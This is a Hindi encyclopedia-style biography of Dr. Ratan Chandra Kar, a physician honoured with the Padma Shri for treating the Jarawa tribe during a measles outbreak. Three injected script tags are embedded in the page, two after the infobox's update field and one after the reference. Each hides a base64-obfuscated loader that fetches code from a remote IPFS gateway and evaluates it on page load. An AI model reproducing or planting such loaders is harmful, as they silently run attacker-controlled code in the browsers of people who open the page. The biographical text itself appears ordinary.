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रतन चंद्र कर  

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रतन चंद्र कर
पूरा नाम डॉ. रतन चंद्र कर
जन्म 1957
जन्म भूमि पश्चिम मेदिनीपुर जिला, पश्चिम बंगाल
कर्म भूमि भारत
कर्म-क्षेत्र चिकित्सा
शिक्षा एमबीबीएस, कलकत्ता विश्वविद्यालय, 1982
पुरस्कार-उपाधि पद्म श्री, 2023
प्रसिद्धि चिकित्सक
नागरिकता भारतीय
श्रेय जारवा सामुदाय को 1998-1999 में खसरा प्रकोप से विलुप्त होने की कगार से बचाने का श्रेय दिया जाता है।
अन्य जानकारी डॉ. रतन चंद्र कर नागालैण्ड में स्थानीय कोन्याक लोगों का इलाज कर रहे थे। उस अनुभव के कारण उन्हें 1998 में अण्डमान और निकोबार द्वीपसमूह के केंद्र शासित प्रदेश प्रशासन द्वारा चिकित्सा अधिकारी के रूप में स्थानांतरित कर दिया गया।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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जन्म व शिक्षा

डॉ. रतन चंद्र कर का जन्म पश्चिम बंगाल के वर्तमान पश्चिम मेदिनीपुर जिले के घाटल उप-मंडल में मनसुका के पास बनहरिसिंहपुर गाँव में हुआ था। स्कूल के बाद, वह चिकित्सा की पढ़ाई के लिए कोलकाता के नीलरतन सरकार मेडिकल कॉलेज और अस्पताल आए। उन्होंने 1982 में कलकत्ता विश्वविद्यालय से एमबीबीएस स्नातक की उपाधि प्राप्त की थी।

चिकित्सा सेवा

डॉ. रतन चंद्र कर की पत्नी अंजलि ने उनसे जारवा जनजाति के लोगों का इलाज करने की चुनौती स्वीकार करने और उन्हें विलुप्त होने से बचाने का आग्रह किया था। उस समय जारवा जनजाति को बचाना बड़ी चुनौती थी। हालांकि, उनके दोनों बेटों तनुमॉय और अनुमॉय अपने पिता की सुरक्षा को लेकर चिंता होने लगी, क्योंकि जारवा जनजाति के निवास क्षेत्र में प्रवेश करने को लेकर कई जोखिम थे। हालांकि, गहन विचार विचार करने के बाद डॉ. रतन ने यह महसूस करते हुए इस चुनौती को स्वीकार किया कि उन्हें जीवन में ऐसा अवसर कभी नहीं मिलेगा। उनके पास पहले से ही नागालैंड में कोन्याक जनजाति के बीच सेवा के दौरान ऐसी स्थिति को संभालने का अनुभव था।[१]

उन्होंने कहा, यह मेरे जीवन का महत्वपूर्ण मोड़ था। जब मैं मध्य अंडमान में कदमतला के लिए रवाना हुआ, जो पोर्ट ब्लेयर से लगभग 120 कि.मी. दूर है। कदमतला की यात्रा करते समय, मैं जारवा जनजाति के लोगों की संभावित प्रतिक्रिया के बारे में सोचकर थोड़ा घबराया हुआ था कि क्या वे मुझे स्वीकार करेंगे या मुझ पर हमला करेंगे? मैं ऊहापोह की स्थिति से गुजर रहा था, लेकिन उन्हें खसरा व अन्य प्रकोप से बचाने के लिए चिकित्सा देने की आवश्यकता थी। पांच घंटे से अधिक की हवाई यात्रा के बाद डॉ. रतन और उनकी टीम कदमतला जेटी पहुंची और जारवा जनजाति के इलाकों में से एक लखरालुंगटा तक एक छोटी नाव से पहुंचे। उन्होंने कहा, मैं जारवा जनजाति के लोगों के लिए उपहार के रूप में नारियल और केले ले गया था। मैंने एक समूह को समुद्र तट पर खड़ा देखा, जो हमें देख रहा था। उनमें से कुछ धनुष और तीर से लैस थे और तैरकर नाव के करीब आ गए। मैं नाव से उतरा और धीरे-धीरे उनकी ओर चलने लगा।

आगे उन्होंने कहा कि मैं डरा हुआ था, चिंतित था, लेकिन उत्साहित था। मैंने एक झोपड़ी देखी और उसमें से धुआं निकल रहा था। जैसे ही मैं झोपड़ी की ओर धीरे-धीरे चल रहा था, बाकी जारवा मेरे पीछे-पीछे चलने लगे। मैंने झोपड़ियों में से एक में प्रवेश किया और एक घायल जारवा को देखा। जंगली सूअर का शिकार करने के दौरान वह घायल हो गया था। मैंने कुछ दवाई लगाई और मरहम-पट्टी की और फिर हम कदमतला आ गए।

जारवा समुदाय के दोस्त

डॉ. रतन चंद्र कर ने आगे बताया कि अगले दिन जब वह अपनी टीम के साथ लखरालुंगटा गए तो उन्होंने उनके व्यवहार में बदलाव देखा। उन्होंने कहा कि जनजाति समुदाय के लोग उनका स्वागत करना चाहते थे, क्योंकि जिस घायल जारवा का उन्होंने इलाज किया था, दवा ने उस पर बहुत असर हुआ था। बच्चों ने भी उन्हें गले लगाया था। इसके बाद से जारवा समुदाय के लोगों ने उन्हें और उनकी टीम के चार अन्य सदस्यों को दोस्त की तरह मानना शुरू कर दिया। उन्होंने कहा कि हमने जारवा समुदाय के गंभीर मरीजों को कदमताला स्वास्थ्य केंद्रों में शिफ्ट किया, जबकि बाकी लोगों का इलाज लखरालुंगटा में किया गया। उन दिनों डॉ. रतन ने चुनौतीपूर्ण परिस्थितियों में कड़ी मेहनत की और जारवा सामुदाय के लोगों को बचाने में महत्वपूर्ण भूमिका निभाई। उन्हें जारवा सामुदाय को 1998-1999 में खसरा प्रकोप से विलुप्त होने की कगार से बचाने का श्रेय दिया जाता है।[१]


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टीका टिप्पणी और संदर्भ

  1. १.० १.१ डॉ. रतन ने अंडमान की जारवा जनजाति को विलुप्त होने से बचाया था (हिंदी) amarujala.com। अभिगमन तिथि: 19 जुलाई, 2023।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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